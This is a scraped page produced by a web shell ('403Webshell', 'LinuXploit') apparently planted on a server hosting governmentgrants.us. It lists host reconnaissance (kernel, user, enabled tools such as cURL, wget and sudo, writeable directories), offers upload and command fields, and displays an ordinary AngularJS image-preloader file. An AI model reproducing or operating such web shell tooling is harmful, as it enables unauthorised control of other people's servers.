403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/usa/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/usa/js/utilities.js
site.factory(
	"preloader",
	function( $q, $rootScope ) {
		function Preloader( imageLocations ) {
			this.imageLocations = imageLocations;
			this.imageCount = this.imageLocations.length;
			this.loadCount = 0;
			this.errorCount = 0;
			this.states = {
				PENDING: 1,
				LOADING: 2,
				RESOLVED: 3,
				REJECTED: 4
			};
			this.state = this.states.PENDING;
			this.deferred = $q.defer();
			this.promise = this.deferred.promise;
		}
		Preloader.preloadImages = function( imageLocations ) {
			var preloader = new Preloader( imageLocations );
			return( preloader.load() );
		};
		Preloader.prototype = {
			constructor: Preloader,
			isInitiated: function isInitiated() {
				
				return( this.state !== this.states.PENDING );
				
			},
			isRejected: function isRejected() {
				
				return( this.state === this.states.REJECTED );
				
			},
			isResolved: function isResolved() {
				
				return( this.state === this.states.RESOLVED );
				
			},
			load: function load() {
				if(this.isInitiated()) 
				{
					return( this.promise );
				}
				this.state = this.states.LOADING;
				for(var i=0; i < this.imageCount; i++) 
				{
					this.loadImageLocation( this.imageLocations[ i ] );
				}
				return( this.promise );
			},
			handleImageError: function handleImageError( imageLocation ) {
				this.errorCount++;
				if(this.isRejected()) 
				{
					return;
				}
				this.state = this.states.REJECTED;
				this.deferred.reject( imageLocation );
			},
			handleImageLoad: function handleImageLoad( imageLocation ) {
				
				this.loadCount++;
				if(this.isRejected()) 
				{
					return;
				}
				this.deferred.notify({
					percent: Math.ceil( this.loadCount / this.imageCount * 100 ),
					imageLocation: imageLocation
				});
				if ( this.loadCount === this.imageCount ) {
					
					this.state = this.states.RESOLVED;
					this.deferred.resolve( this.imageLocations );
					
				}
			},
			loadImageLocation: function loadImageLocation( imageLocation ) {
				var preloader = this;
				var image = $( new Image() )
					.load(
						function( event ) {
							$rootScope.$apply(
								function() {
									preloader.handleImageLoad( event.target.src );
									preloader = image = event = null;
								}
							);
						}
					)
					.error(
						function( event ) {
							$rootScope.$apply(
								function() {
									preloader.handleImageError( event.target.src );
									preloader = image = event = null;
								}
							);
						}
					)
					.prop( "src", imageLocation )
				;
			}
		};
		return( Preloader );
	}
);

Youez - 2016 - github.com/yon3zu
LinuXploit